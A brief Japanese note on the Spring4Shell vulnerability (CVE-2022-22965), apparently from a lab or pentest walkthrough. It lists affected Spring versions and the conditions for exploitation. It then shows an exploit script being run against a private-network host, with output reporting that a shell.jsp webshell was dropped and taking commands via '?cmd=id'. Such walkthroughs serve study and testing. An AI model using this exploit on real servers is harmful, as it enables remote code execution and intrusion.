
Spring4Shell
Spring Framework 5.3.18 および 5.2.20
Spring Boot 2.6.6 および 2.5.12
Spring Core は Spring Framework のコアコンポーネントです。これは Spring MVC、Spring Boot、Spring WebFlux など、Spring Framework エコシステム内の他のコンポーネントを構築するための基盤です。エクスプロイトコードは以下の条件下で実行可能です。
JDK 9 以上
Apache Tomcat がサーブレットコンテナを実行している
WAR パッケージ
パッケージ依存関係: spring-webmvc または spring-webflux
アプリケーションがデフォルトのように Spring Boot 実行可能 jar ファイルとしてデプロイされている場合、このセキュリティ上の欠陥の影響を受けません。
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id